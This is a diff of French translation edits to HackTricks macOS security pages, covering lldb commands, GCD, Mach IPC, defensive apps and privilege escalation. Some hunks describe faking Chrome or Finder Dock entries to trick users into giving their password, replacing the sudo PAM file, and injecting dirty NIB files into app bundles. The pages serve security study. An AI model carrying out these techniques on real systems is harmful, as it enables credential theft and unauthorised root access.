-r . -s libobjc.A.dylib</code> # Arrêter dans toutes les fonctions de cette bibliothèque</p><p><code>b -a 0x0000000100004bd9</code></p><p><code>br l</code> #Liste des points d'arrêt</p><p><code>br e/dis &#x3C;num></code> #Activer/Désactiver le point d'arrêt</p><p>breakpoint delete &#x3C;num></p></td></tr><tr><td><strong>help</strong></td><td><p>help breakpoint #Obtenir de l'aide sur la commande de point d'arrêt</p><p>help memory write #Obtenir de l'aide pour écrire dans la mémoire</p></td></tr><tr><td><strong>reg</strong></td><td><p>reg read</p><p>reg read $rax</p><p>reg read $rax --format &#x3C;<a href="https://lldb.llvm.org/use/variable.html#type-format">format</a>></p><p>reg write $rip 0x100035cc0</p></td></tr><tr><td><strong>x/s &#x3C;reg/adresse mémoire></strong></td><td>Afficher la mémoire sous forme de chaîne terminée par un caractère nul.</td></tr><tr><td><strong>x/i &#x3C;reg/adresse mémoire></strong></td><td>Afficher la mémoire sous forme d'instruction d'assemblage.</td></tr><tr><td><strong>x/b &#x3C;reg/adresse mémoire></strong></td><td>Afficher la mémoire sous forme d'octet.</td></tr><tr><td><strong>print object (po)</strong></td><td><p>Cela affichera l'objet référencé par le paramètre</p><p>po $raw</p><p><code>{</code></p><p><code>dnsChanger = {</code></p><p><code>"affiliate" = "";</code></p><p><code>"blacklist_dns" = ();</code></p><p>Notez que la plupart des API ou méthodes Objective-C d'Apple retournent des objets, et doivent donc être affichées via la commande “print object” (po). Si po ne produit pas de sortie significative, utilisez <code>x/b</code></p></td></tr><tr><td><strong>memory</strong></td><td>memory read 0x000....<br>memory read $x0+0xf2a<br>memory write 0x100600000 -s 4 0x41414141 #Écrire AAAA à cette adresse<br>memory write -f s $rip+0x11f+7 "AAAA" #Écrire AAAA à l'adresse</td></tr><tr><td><strong>disassembly</strong></td><td><p>dis #Désassembler la fonction actuelle</p><p>dis -n &#x3C;funcname> #Désassembler la fonction</p><p>dis -n &#x3C;funcname> -b &#x3C;basename> #Désassembler la fonction<br>dis -c 6 #Désassembler 6 lignes<br>dis -c 0x100003764 -e 0x100003768 # D'un ajout à l'autre<br>dis -p -c 4 # Commencer à l'adresse actuelle en désassemblant</p></td></tr><tr><td><strong>parray</strong></td><td>parray 3 (char **)$x1 # Vérifier le tableau de 3 composants dans le registre x1</td></tr><tr><td><strong>image dump sections</strong></td><td>Imprimer la carte de la mémoire du processus actuel</td></tr><tr><td><strong>image dump symtab &#x3C;library></strong></td><td><code>image dump symtab CoreNLP</code> #Obtenir l'adresse de tous les symboles de CoreNLP</td></tr></tbody></table>
+<table data-header-hidden><thead><tr><th width="225"></th><th></th></tr></thead><tbody><tr><td><strong>(lldb) Commande</strong></td><td><strong>Description</strong></td></tr><tr><td><strong>run (r)</strong></td><td>Démarrer l'exécution, qui se poursuivra sans interruption jusqu'à ce qu'un point d'arrêt soit atteint ou que le processus se termine.</td></tr><tr><td><strong>process launch --stop-at-entry</strong></td><td>Démarrer l'exécution en s'arrêtant au point d'entrée</td></tr><tr><td><strong>continue (c)</strong></td><td>Continuer l'exécution du processus débogué.</td></tr><tr><td><strong>nexti (n / ni)</strong></td><td>Exécuter l'instruction suivante. Cette commande ignorera les appels de fonction.</td></tr><tr><td><strong>stepi (s / si)</strong></td><td>Exécuter l'instruction suivante. Contrairement à la commande nexti, cette commande entrera dans les appels de fonction.</td></tr><tr><td><strong>finish (f)</strong></td><td>Exécuter le reste des instructions dans la fonction actuelle (“frame”), retourner et s'arrêter.</td></tr><tr><td><strong>control + c</strong></td><td>Mettre l'exécution en pause. Si le processus a été exécuté (r) ou continué (c), cela fera arrêter le processus ...où qu'il soit actuellement en cours d'exécution.</td></tr><tr><td><strong>breakpoint (b)</strong></td><td><p><code>b main</code> #Toute fonction appelée main</p><p><code>b <binname>`main</code> #Fonction principale du binaire</p><p><code>b set -n main --shlib <lib_name></code> #Fonction principale du binaire indiqué</p><p><code>breakpoint set -r '\[NSFileManager .*\]$'</code> #Toute méthode NSFileManager</p><p><code>breakpoint set -r '\[NSFileManager contentsOfDirectoryAtPath:.*\]$'</code></p><p><code>break set -r . -s libobjc.A.dylib</code> # Arrêter dans toutes les fonctions de cette bibliothèque</p><p><code>b -a 0x0000000100004bd9</code></p><p><code>br l</code> #Liste des points d'arrêt</p><p><code>br e/dis <num></code> #Activer/Désactiver le point d'arrêt</p><p>breakpoint delete <num></p></td></tr><tr><td><strong>help</strong></td><td><p>help breakpoint #Obtenir de l'aide sur la commande de point d'arrêt</p><p>help memory write #Obtenir de l'aide pour écrire dans la mémoire</p></td></tr><tr><td><strong>reg</strong></td><td><p>reg read</p><p>reg read $rax</p><p>reg read $rax --format <<a href="https://lldb.llvm.org/use/variable.html#type-format">format</a>></p><p>reg write $rip 0x100035cc0</p></td></tr><tr><td><strong>x/s <reg/adresse mémoire></strong></td><td>Afficher la mémoire sous forme de chaîne terminée par un null.</td></tr><tr><td><strong>x/i <reg/adresse mémoire></strong></td><td>Afficher la mémoire sous forme d'instruction d'assemblage.</td></tr><tr><td><strong>x/b <reg/adresse mémoire></strong></td><td>Afficher la mémoire sous forme d'octet.</td></tr><tr><td><strong>print object (po)</strong></td><td><p>Cela affichera l'objet référencé par le paramètre</p><p>po $raw</p><p><code>{</code></p><p><code>dnsChanger = {</code></p><p><code>"affiliate" = "";</code></p><p><code>"blacklist_dns" = ();</code></p><p>Notez que la plupart des API ou méthodes Objective-C d'Apple retournent des objets, et doivent donc être affichées via la commande “print object” (po). Si po ne produit pas de sortie significative, utilisez <code>x/b</code></p></td></tr><tr><td><strong>memory</strong></td><td>memory read 0x000....<br>memory read $x0+0xf2a<br>memory write 0x100600000 -s 4 0x41414141 #Écrire AAAA à cette adresse<br>memory write -f s $rip+0x11f+7 "AAAA" #Écrire AAAA à l'adresse</td></tr><tr><td><strong>disassembly</strong></td><td><p>dis #Désassembler la fonction actuelle</p><p>dis -n <funcname> #Désassembler la fonction</p><p>dis -n <funcname> -b <basename> #Désassembler la fonction<br>dis -c 6 #Désassembler 6 lignes<br>dis -c 0x100003764 -e 0x100003768 # D'un ajout à l'autre<br>dis -p -c 4 # Commencer à l'adresse actuelle en désassemblant</p></td></tr><tr><td><strong>parray</strong></td><td>parray 3 (char **)$x1 # Vérifier le tableau de 3 composants dans le registre x1</td></tr><tr><td><strong>image dump sections</strong></td><td>Imprimer la carte de la mémoire du processus actuel</td></tr><tr><td><strong>image dump symtab <library></strong></td><td><code>image dump symtab CoreNLP</code> #Obtenir l'adresse de tous les symboles de CoreNLP</td></tr></tbody></table>
 
 > [!NOTE]
-> Lors de l'appel de la fonction **`objc_sendMsg`**, le registre **rsi** contient le **nom de la méthode** sous forme de chaîne terminée par un caractère nul (“C”). Pour imprimer le nom via lldb, faites :
+> Lors de l'appel de la fonction **`objc_sendMsg`**, le registre **rsi** contient le **nom de la méthode** sous forme de chaîne terminée par un null (“C”). Pour imprimer le nom via lldb, faites :
 >
 > `(lldb) x/s $rsi: 0x1000f1576: "startMiningWithPort:password:coreCount:slowMemory:currency:"`
 >
@@ -478,11 +478,11 @@ Dans ces cas, le dump de mémoire est généré selon `kern.corefile` sysctl et
 
 ### [ReportCrash](https://ss64.com/osx/reportcrash.html)
 
-ReportCrash **analyse les processus en panne et enregistre un rapport de panne sur le disque**. Un rapport de panne contient des informations qui peuvent **aider un développeur à diagnostiquer** la cause d'une panne.\
-Pour les applications et autres processus **s'exécutant dans le contexte de lancement par utilisateur**, ReportCrash s'exécute en tant que LaunchAgent et enregistre les rapports de panne dans le `~/Library/Logs/DiagnosticReports/` de l'utilisateur.\
-Pour les démons, autres processus **s'exécutant dans le contexte de lancement système** et autres processus privilégiés, ReportCrash s'exécute en tant que LaunchDaemon et enregistre les rapports de panne dans le `/Library/Logs/DiagnosticReports` du système.
+ReportCrash **analyse les processus qui plantent et enregistre un rapport de plantage sur le disque**. Un rapport de plantage contient des informations qui peuvent **aider un développeur à diagnostiquer** la cause d'un plantage.\
+Pour les applications et autres processus **s'exécutant dans le contexte de lancement par utilisateur**, ReportCrash s'exécute en tant que LaunchAgent et enregistre les rapports de plantage dans le `~/Library/Logs/DiagnosticReports/` de l'utilisateur.\
+Pour les démons, autres processus **s'exécutant dans le contexte de lancement système** et autres processus privilégiés, ReportCrash s'exécute en tant que LaunchDaemon et enregistre les rapports de plantage dans le `/Library/Logs/DiagnosticReports` du système.
 
-Si vous êtes inquiet au sujet des rapports de panne **envoyés à Apple**, vous pouvez les désactiver. Sinon, les rapports de panne peuvent être utiles pour **comprendre comment un serveur a planté**.
+Si vous êtes inquiet au sujet des rapports de plantage **envoyés à Apple**, vous pouvez les désactiver. Sinon, les rapports de plantage peuvent être utiles pour **comprendre comment un serveur a planté**.
 ```bash
 #To disable crash reporting:
 launchctl unload -w /System/Library/LaunchAgents/com.apple.ReportCrash.plist
@@ -544,7 +544,7 @@ Fonctionne pour les outils CLI
 
 #### [Litefuzz](https://github.com/sec-tools/litefuzz)
 
-Il "**fonctionne simplement"** avec les outils GUI macOS. Notez que certaines applications macOS ont des exigences spécifiques comme des noms de fichiers uniques, la bonne extension, doivent lire les fichiers depuis le sandbox (`~/Library/Containers/com.apple.Safari/Data`)...
+Il "**fonctionne simplement"** avec les outils GUI macOS. Notez que certaines applications macOS ont des exigences spécifiques comme des noms de fichiers uniques, la bonne extension, et doivent lire les fichiers depuis le sandbox (`~/Library/Containers/com.apple.Safari/Data`)...
 
 Quelques exemples :
 ```bash

src/macos-hardening/macos-security-and-privilege-escalation/macos-defensive-apps.md

@@ -5,15 +5,15 @@
 ## Pare-feux
 
 - [**Little Snitch**](https://www.obdev.at/products/littlesnitch/index.html) : Il surveillera chaque connexion effectuée par chaque processus. Selon le mode (autoriser silencieusement les connexions, refuser silencieusement la connexion et alerter), il **vous montrera une alerte** chaque fois qu'une nouvelle connexion est établie. Il dispose également d'une très belle interface graphique pour voir toutes ces informations.
-- [**LuLu**](https://objective-see.org/products/lulu.html) : Pare-feu d'Objective-See. C'est un pare-feu de base qui vous alertera pour des connexions suspectes (il a une interface graphique mais elle n'est pas aussi élégante que celle de Little Snitch).
+- [**LuLu**](https://objective-see.org/products/lulu.html) : Pare-feu d'Objective-See. C'est un pare-feu de base qui vous alertera pour des connexions suspectes (il a une interface graphique mais elle n'est pas aussi sophistiquée que celle de Little Snitch).
 
 ## Détection de persistance
 
 - [**KnockKnock**](https://objective-see.org/products/knockknock.html) : Application d'Objective-See qui recherchera à plusieurs endroits où **le malware pourrait persister** (c'est un outil ponctuel, pas un service de surveillance).
-- [**BlockBlock**](https://objective-see.org/products/blockblock.html) : Comme KnockKnock en surveillant les processus qui génèrent de la persistance.
+- [**BlockBlock**](https://objective-see.org/products/blockblock.html) : Comme KnockKnock, en surveillant les processus qui génèrent de la persistance.
 
 ## Détection de keyloggers
 
-- [**ReiKey**](https://objective-see.org/products/reikey.html) : Application d'Objective-See pour trouver des **keyloggers** qui installent des "event taps" de clavier 
+- [**ReiKey**](https://objective-see.org/products/reikey.html) : Application d'Objective-See pour trouver des **keyloggers** qui installent des "event taps" de clavier.
 
 {{#include ../../banners/hacktricks-training.md}}

src/macos-hardening/macos-security-and-privilege-escalation/macos-gcd-grand-central-dispatch.md

@@ -11,14 +11,14 @@
 > [!TIP]
 > En résumé, pour exécuter du code en **parallèle**, les processus peuvent envoyer des **blocs de code à GCD**, qui se chargera de leur exécution. Par conséquent, les processus ne créent pas de nouveaux threads ; **GCD exécute le code donné avec son propre pool de threads** (qui peut augmenter ou diminuer si nécessaire).
 
-Cela est très utile pour gérer l'exécution parallèle avec succès, réduisant considérablement le nombre de threads que les processus créent et optimisant l'exécution parallèle. Cela est idéal pour les tâches qui nécessitent un **grand parallélisme** (brute-forcing ?) ou pour les tâches qui ne devraient pas bloquer le thread principal : Par exemple, le thread principal sur iOS gère les interactions UI, donc toute autre fonctionnalité qui pourrait faire planter l'application (recherche, accès à un web, lecture d'un fichier...) est gérée de cette manière.
+Cela est très utile pour gérer l'exécution parallèle avec succès, réduisant considérablement le nombre de threads que les processus créent et optimisant l'exécution parallèle. C'est idéal pour les tâches qui nécessitent un **grand parallélisme** (brute-forcing ?) ou pour les tâches qui ne devraient pas bloquer le thread principal : Par exemple, le thread principal sur iOS gère les interactions UI, donc toute autre fonctionnalité qui pourrait faire planter l'application (recherche, accès à un web, lecture d'un fichier...) est gérée de cette manière.
 
 ### Blocs
 
 Un bloc est une **section de code autonome** (comme une fonction avec des arguments retournant une valeur) et peut également spécifier des variables liées.\
 Cependant, au niveau du compilateur, les blocs n'existent pas, ce sont des `os_object`s. Chacun de ces objets est formé par deux structures :
 
-- **littéral de bloc** : 
+- **littéral de bloc** :
 - Il commence par le champ **`isa`**, pointant vers la classe du bloc :
 - `NSConcreteGlobalBlock` (blocs de `__DATA.__const`)
 - `NSConcreteMallocBlock` (blocs dans le tas)
@@ -37,7 +37,7 @@ Cependant, au niveau du compilateur, les blocs n'existent pas, ce sont des `os_o
 
 Une queue de dispatch est un objet nommé fournissant un ordre FIFO des blocs pour les exécutions.
 
-Les blocs sont mis dans des queues à exécuter, et celles-ci supportent 2 modes : `DISPATCH_QUEUE_SERIAL` et `DISPATCH_QUEUE_CONCURRENT`. Bien sûr, la **série** ne **présentera pas de problèmes de conditions de course** car un bloc ne sera pas exécuté tant que le précédent n'a pas terminé. Mais **l'autre type de queue pourrait en avoir**.
+Les blocs sont mis dans des queues à exécuter, et celles-ci supportent 2 modes : `DISPATCH_QUEUE_SERIAL` et `DISPATCH_QUEUE_CONCURRENT`. Bien sûr, la **série** n'aura pas de problèmes de condition de course car un bloc ne sera pas exécuté tant que le précédent n'est pas terminé. Mais **l'autre type de queue pourrait en avoir**.
 
 Queues par défaut :
 
@@ -57,11 +57,11 @@ Queues par défaut :
 - `.root.user-interactive-qos`: Priorité la plus élevée
 - `.root.background-qos.overcommit`
 
-Remarquez que c'est le système qui décidera **quels threads gèrent quelles queues à chaque instant** (plusieurs threads peuvent travailler dans la même queue ou le même thread peut travailler dans différentes queues à un moment donné)
+Remarquez que c'est le système qui décide **quels threads gèrent quelles queues à chaque instant** (plusieurs threads peuvent travailler dans la même queue ou le même thread peut travailler dans différentes queues à un moment donné)
 
 #### Attributs
 
-Lors de la création d'une queue avec **`dispatch_queue_create`**, le troisième argument est un `dispatch_queue_attr_t`, qui est généralement soit `DISPATCH_QUEUE_SERIAL` (qui est en fait NULL) soit `DISPATCH_QUEUE_CONCURRENT`, qui est un pointeur vers une structure `dispatch_queue_attr_t` permettant de contrôler certains paramètres de la queue.
+Lors de la création d'une queue avec **`dispatch_queue_create`**, le troisième argument est un `dispatch_queue_attr_t`, qui est généralement soit `DISPATCH_QUEUE_SERIAL` (qui est en fait NULL) ou `DISPATCH_QUEUE_CONCURRENT`, qui est un pointeur vers une structure `dispatch_queue_attr_t` permettant de contrôler certains paramètres de la queue.
 
 ### Objets de dispatch
 
@@ -100,7 +100,7 @@ struct BlockDescriptor *descriptor;
 // captured variables go here
 };
 ```
-Et voici un exemple d'utilisation du **parallélisme** avec **`dispatch_async`** :
+Et voici un exemple d'utilisation du **parallelism** avec **`dispatch_async`** :
 ```objectivec
 #import <Foundation/Foundation.h>
 
@@ -170,7 +170,7 @@ sleep(1)  // Simulate a long-running task
 ```
 ## Frida
 
-Le script Frida suivant peut être utilisé pour **intercepter plusieurs fonctions `dispatch`** et extraire le nom de la file d'attente, la trace de retour et le bloc : [**https://github.com/seemoo-lab/frida-scripts/blob/main/scripts/libdispatch.js**](https://github.com/seemoo-lab/frida-scripts/blob/main/scripts/libdispatch.js)
+Le script Frida suivant peut être utilisé pour **s'accrocher à plusieurs fonctions `dispatch`** et extraire le nom de la file d'attente, la trace de pile et le bloc : [**https://github.com/seemoo-lab/frida-scripts/blob/main/scripts/libdispatch.js**](https://github.com/seemoo-lab/frida-scripts/blob/main/scripts/libdispatch.js)
 ```bash
 frida -U <prog_name> -l libdispatch.js
 
@@ -210,8 +210,8 @@ Ghidra réécrira automatiquement tout :
 
 <figure><img src="../../images/image (1166).png" alt="" width="563"><figcaption></figcaption></figure>
 
-## Références
+## References
 
-- [**\*OS Internals, Volume I: User Mode. Par Jonathan Levin**](https://www.amazon.com/MacOS-iOS-Internals-User-Mode/dp/099105556X)
+- [**\*OS Internals, Volume I: User Mode. By Jonathan Levin**](https://www.amazon.com/MacOS-iOS-Internals-User-Mode/dp/099105556X)
 
 {{#include ../../banners/hacktricks-training.md}}

src/macos-hardening/macos-security-and-privilege-escalation/macos-privilege-escalation.md

@@ -4,7 +4,7 @@
 
 ## Escalade de privilèges TCC
 
-Si vous êtes venu ici à la recherche d'une escalade de privilèges TCC, allez à :
+Si vous êtes venu ici à la recherche de l'escalade de privilèges TCC, allez à :
 
 {{#ref}}
 macos-security-protections/macos-tcc/
@@ -12,7 +12,7 @@ macos-security-protections/macos-tcc/
 
 ## Privesc Linux
 
-Veuillez noter que **la plupart des astuces concernant l'escalade de privilèges affectant Linux/Unix affecteront également les machines MacOS**. Donc, consultez :
+Veuillez noter que **la plupart des astuces concernant l'escalade de privilèges affectant Linux/Unix affecteront également les machines MacOS**. Donc, voyez :
 
 {{#ref}}
 ../../linux-hardening/privilege-escalation/
@@ -41,15 +41,15 @@ sudo ls
 ```
 Notez qu'un utilisateur qui utilise le terminal aura très probablement **Homebrew installé**. Il est donc possible de détourner des binaires dans **`/opt/homebrew/bin`**.
 
-### Usurpation de Dock
+### Usurpation du Dock
 
 En utilisant un peu de **ingénierie sociale**, vous pourriez **usurper par exemple Google Chrome** dans le dock et exécuter en réalité votre propre script :
 
 {{#tabs}}
-{{#tab name="Chrome Impersonation"}}
+{{#tab name="Usurpation de Chrome"}}
 Quelques suggestions :
 
-- Vérifiez dans le Dock s'il y a un Chrome, et dans ce cas **supprimez** cette entrée et **ajoutez** l'**entrée Chrome** **fausse** à la **même position** dans le tableau Dock. 
+- Vérifiez dans le Dock s'il y a un Chrome, et dans ce cas, **supprimez** cette entrée et **ajoutez** l'**entrée Chrome** **fausse** à la **même position** dans le tableau du Dock.
 ```bash
 #!/bin/sh
 
@@ -121,14 +121,14 @@ killall Dock
 ```
 {{#endtab}}
 
-{{#tab name="Impersonation du Finder"}}
+{{#tab name="Impersonation de Finder"}}
 Quelques suggestions :
 
-- Vous **ne pouvez pas retirer le Finder du Dock**, donc si vous allez l'ajouter au Dock, vous pourriez mettre le faux Finder juste à côté du vrai. Pour cela, vous devez **ajouter l'entrée du faux Finder au début du tableau Dock**.
+- Vous **ne pouvez pas retirer Finder du Dock**, donc si vous allez l'ajouter au Dock, vous pourriez mettre le faux Finder juste à côté du vrai. Pour cela, vous devez **ajouter l'entrée du faux Finder au début du tableau Dock**.
 - Une autre option est de ne pas le placer dans le Dock et de simplement l'ouvrir, "Finder demandant à contrôler Finder" n'est pas si étrange.
-- Une autre option pour **escalader vers root sans demander** le mot de passe avec une horrible boîte, est de faire en sorte que le Finder demande vraiment le mot de passe pour effectuer une action privilégiée :
-- Demandez au Finder de copier dans **`/etc/pam.d`** un nouveau fichier **`sudo`** (L'invite demandant le mot de passe indiquera que "Finder veut copier sudo")
-- Demandez au Finder de copier un nouveau **Plugin d'Autorisation** (Vous pourriez contrôler le nom du fichier afin que l'invite demandant le mot de passe indique que "Finder veut copier Finder.bundle")
+- Une autre option pour **escalader vers root sans demander** le mot de passe avec une horrible boîte, est de faire en sorte que Finder demande vraiment le mot de passe pour effectuer une action privilégiée :
+- Demandez à Finder de copier dans **`/etc/pam.d`** un nouveau fichier **`sudo`** (L'invite demandant le mot de passe indiquera que "Finder veut copier sudo")
+- Demandez à Finder de copier un nouveau **Plugin d'Autorisation** (Vous pourriez contrôler le nom du fichier afin que l'invite demandant le mot de passe indique que "Finder veut copier Finder.bundle")
 ```bash
 #!/bin/sh
 
@@ -206,7 +206,7 @@ killall Dock
 ### CVE-2020-9771 - contournement TCC de mount_apfs et élévation de privilèges
 
 **Tout utilisateur** (même ceux sans privilèges) peut créer et monter un instantané de Time Machine et **accéder à TOUS les fichiers** de cet instantané.\
-Le **seul privilège** nécessaire est que l'application utilisée (comme `Terminal`) ait accès à **Full Disk Access** (FDA) (`kTCCServiceSystemPolicyAllfiles`), ce qui doit être accordé par un administrateur.
+Le **seul privilège** requis est que l'application utilisée (comme `Terminal`) ait accès à **Full Disk Access** (FDA) (`kTCCServiceSystemPolicyAllfiles`), ce qui doit être accordé par un administrateur.
 ```bash
 # Create snapshot
 tmutil localsnapshot

src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-dirty-nib.md

@@ -15,7 +15,7 @@ Le fichier Nib principal est référencé dans la valeur **`NSMainNibFile`** à
 #### Création et configuration d'un fichier NIB
 
 1. **Configuration initiale** :
-- Créez un nouveau fichier NIB à l'aide de XCode.
+- Créez un nouveau fichier NIB en utilisant XCode.
 - Ajoutez un objet à l'interface, en définissant sa classe sur `NSAppleScript`.
 - Configurez la propriété `source` initiale via les attributs d'exécution définis par l'utilisateur.
 2. **Gadget d'exécution de code** :
@@ -52,7 +52,7 @@ display dialog theDialogText
 
 ### Autre exemple
 
-Dans le post [https://sector7.computest.nl/post/2024-04-bringing-process-injection-into-view-exploiting-all-macos-apps-using-nib-files/](https://sector7.computest.nl/post/2024-04-bringing-process-injection-into-view-exploiting-all-macos-apps-using-nib-files/) vous pouvez trouver un tutoriel sur la façon de créer un dirty nib. 
+Dans le post [https://sector7.computest.nl/post/2024-04-bringing-process-injection-into-view-exploiting-all-macos-apps-using-nib-files/](https://sector7.computest.nl/post/2024-04-bringing-process-injection-into-view-exploiting-all-macos-apps-using-nib-files/) vous pouvez trouver un tutoriel sur la façon de créer un dirty nib.
 
 ### Aborder les contraintes de lancement
 
@@ -64,7 +64,7 @@ Dans le post [https://sector7.computest.nl/post/2024-04-bringing-process-injecti
 Depuis macOS Sonoma, les modifications à l'intérieur des bundles d'applications sont restreintes. Cependant, les méthodes antérieures impliquaient :
 
 1. Copier l'application dans un autre emplacement (par exemple, `/tmp/`).
-2. Renommer les répertoires au sein du bundle de l'application pour contourner les protections initiales.
+2. Renommer des répertoires au sein du bundle de l'application pour contourner les protections initiales.
 3. Après avoir exécuté l'application pour s'enregistrer auprès de Gatekeeper, modifier le bundle de l'application (par exemple, remplacer MainMenu.nib par Dirty.nib).
 4. Renommer les répertoires et relancer l'application pour exécuter le fichier NIB injecté.
 

src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/README.md

@@ -2,9 +2,9 @@
 
 {{#include ../../../../banners/hacktricks-training.md}}
 
-## Messagerie Mach via Ports
+## Mach messaging via Ports
 
-### Informations de base
+### Basic Information
 
 Mach utilise des **tâches** comme la **plus petite unité** pour partager des ressources, et chaque tâche peut contenir **plusieurs threads**. Ces **tâches et threads sont mappés 1:1 aux processus et threads POSIX**.
 
@@ -16,11 +16,11 @@ Chaque processus a une **table IPC**, où il est possible de trouver les **ports
 
 Un processus peut également envoyer un nom de port avec certains droits **à une tâche différente** et le noyau fera apparaître cette entrée dans la **table IPC de l'autre tâche**.
 
-### Droits de Port
+### Port Rights
 
 Les droits de port, qui définissent quelles opérations une tâche peut effectuer, sont essentiels à cette communication. Les **droits de port** possibles sont ([définitions ici](https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html)) :
 
-- **Droit de réception**, qui permet de recevoir des messages envoyés au port. Les ports Mach sont des queues MPSC (multiple-producer, single-consumer), ce qui signifie qu'il ne peut y avoir **qu'un seul droit de réception pour chaque port** dans tout le système (contrairement aux pipes, où plusieurs processus peuvent tous détenir des descripteurs de fichiers pour l'extrémité de lecture d'un pipe).
+- **Droit de réception**, qui permet de recevoir des messages envoyés au port. Les ports Mach sont des queues MPSC (multiple-producer, single-consumer), ce qui signifie qu'il ne peut y avoir qu'un **droit de réception pour chaque port** dans tout le système (contrairement aux pipes, où plusieurs processus peuvent tous détenir des descripteurs de fichiers pour l'extrémité de lecture d'un pipe).
 - Une **tâche avec le droit de réception** peut recevoir des messages et **créer des droits d'envoi**, lui permettant d'envoyer des messages. À l'origine, seule la **propre tâche a le droit de réception sur son port**.
 - Si le propriétaire du droit de réception **meurt** ou le tue, le **droit d'envoi devient inutile (nom mort)**.
 - **Droit d'envoi**, qui permet d'envoyer des messages au port.
@@ -33,44 +33,44 @@ Les droits de port, qui définissent quelles opérations une tâche peut effectu
 
 **Les tâches peuvent transférer des droits d'ENVOI à d'autres**, leur permettant d'envoyer des messages en retour. **Les droits d'ENVOI peuvent également être clonés, de sorte qu'une tâche puisse dupliquer et donner le droit à une troisième tâche**. Cela, combiné avec un processus intermédiaire connu sous le nom de **serveur de démarrage**, permet une communication efficace entre les tâches.
 
-### Ports de Fichier
+### File Ports
 
-Les ports de fichier permettent d'encapsuler des descripteurs de fichiers dans des ports Mac (en utilisant des droits de port Mach). Il est possible de créer un `fileport` à partir d'un FD donné en utilisant `fileport_makeport` et de créer un FD à partir d'un fileport en utilisant `fileport_makefd`.
+Les ports de fichiers permettent d'encapsuler des descripteurs de fichiers dans des ports Mac (en utilisant des droits de port Mach). Il est possible de créer un `fileport` à partir d'un FD donné en utilisant `fileport_makeport` et de créer un FD à partir d'un fileport en utilisant `fileport_makefd`.
 
-### Établir une communication
+### Establishing a communication
 
 Comme mentionné précédemment, il est possible d'envoyer des droits en utilisant des messages Mach, cependant, vous **ne pouvez pas envoyer un droit sans déjà avoir un droit** pour envoyer un message Mach. Alors, comment la première communication est-elle établie ?
 
 Pour cela, le **serveur de démarrage** (**launchd** sur mac) est impliqué, car **tout le monde peut obtenir un droit d'ENVOI au serveur de démarrage**, il est possible de lui demander un droit pour envoyer un message à un autre processus :
 
-1. La tâche **A** crée un **nouveau port**, obtenant le **droit de RÉCEPTION** sur celui-ci.
-2. La tâche **A**, étant le titulaire du droit de RÉCEPTION, **génère un droit d'ENVOI pour le port**.
-3. La tâche **A** établit une **connexion** avec le **serveur de démarrage**, et **lui envoie le droit d'ENVOI** pour le port qu'elle a généré au début.
+1. La tâche **A** crée un **nouveau port**, obtenant le **droit de réception** sur celui-ci.
+2. La tâche **A**, étant le détenteur du droit de réception, **génère un droit d'envoi pour le port**.
+3. La tâche **A** établit une **connexion** avec le **serveur de démarrage**, et **lui envoie le droit d'envoi** pour le port qu'elle a généré au début.
 - Rappelez-vous que tout le monde peut obtenir un droit d'ENVOI au serveur de démarrage.
 4. La tâche A envoie un message `bootstrap_register` au serveur de démarrage pour **associer le port donné à un nom** comme `com.apple.taska`
-5. La tâche **B** interagit avec le **serveur de démarrage** pour exécuter une **recherche de démarrage pour le nom du service** (`bootstrap_lookup`). Ainsi, le serveur de démarrage peut répondre, la tâche B lui enverra un **droit d'ENVOI à un port qu'elle a précédemment créé** dans le message de recherche. Si la recherche est réussie, le **serveur duplique le droit d'ENVOI** reçu de la tâche A et **le transmet à la tâche B**.
+5. La tâche **B** interagit avec le **serveur de démarrage** pour exécuter une recherche de démarrage **lookup pour le nom du service** (`bootstrap_lookup`). Ainsi, le serveur de démarrage peut répondre, la tâche B lui enverra un **droit d'ENVOI à un port qu'elle a précédemment créé** dans le message de recherche. Si la recherche est réussie, le **serveur duplique le droit d'ENVOI** reçu de la tâche A et **le transmet à la tâche B**.
 - Rappelez-vous que tout le monde peut obtenir un droit d'ENVOI au serveur de démarrage.
 6. Avec ce droit d'ENVOI, **la tâche B** est capable d'**envoyer** un **message** **à la tâche A**.
-7. Pour une communication bidirectionnelle, la tâche **B** génère généralement un nouveau port avec un droit de **RÉCEPTION** et un droit d'**ENVOI**, et donne le **droit d'ENVOI à la tâche A** afin qu'elle puisse envoyer des messages à la TÂCHE B (communication bidirectionnelle).
+7. Pour une communication bidirectionnelle, la tâche **B** génère généralement un nouveau port avec un **droit de réception** et un **droit d'envoi**, et donne le **droit d'envoi à la tâche A** afin qu'elle puisse envoyer des messages à la tâche B (communication bidirectionnelle).
 
-Le serveur de démarrage **ne peut pas authentifier** le nom de service revendiqué par une tâche. Cela signifie qu'une **tâche** pourrait potentiellement **se faire passer pour n'importe quelle tâche système**, comme en revendiquant faussement un nom de service d'autorisation et en approuvant ensuite chaque demande.
+Le serveur de démarrage **ne peut pas authentifier** le nom de service revendiqué par une tâche. Cela signifie qu'une **tâche** pourrait potentiellement **imiter n'importe quelle tâche système**, comme revendiquer faussement un nom de service d'autorisation et ensuite approuver chaque demande.
 
-Ensuite, Apple stocke les **noms des services fournis par le système** dans des fichiers de configuration sécurisés, situés dans des répertoires **protégés par SIP** : `/System/Library/LaunchDaemons` et `/System/Library/LaunchAgents`. Avec chaque nom de service, le **binaire associé est également stocké**. Le serveur de démarrage créera et détiendra un **droit de RÉCEPTION pour chacun de ces noms de service**.
+Ensuite, Apple stocke les **noms des services fournis par le système** dans des fichiers de configuration sécurisés, situés dans des répertoires **protégés par SIP** : `/System/Library/LaunchDaemons` et `/System/Library/LaunchAgents`. Avec chaque nom de service, le **binaire associé est également stocké**. Le serveur de démarrage créera et détiendra un **droit de réception pour chacun de ces noms de service**.
 
 Pour ces services prédéfinis, le **processus de recherche diffère légèrement**. Lorsqu'un nom de service est recherché, launchd démarre le service dynamiquement. Le nouveau flux de travail est le suivant :
 
-- La tâche **B** initie une **recherche de démarrage** pour un nom de service.
+- La tâche **B** initie une recherche de démarrage **lookup** pour un nom de service.
 - **launchd** vérifie si la tâche est en cours d'exécution et si ce n'est pas le cas, **la démarre**.
-- La tâche **A** (le service) effectue un **enregistrement de démarrage** (`bootstrap_check_in()`). Ici, le **serveur de démarrage** crée un droit d'ENVOI, le conserve et **transfère le droit de RÉCEPTION à la tâche A**.
-- launchd duplique le **droit d'ENVOI et l'envoie à la tâche B**.
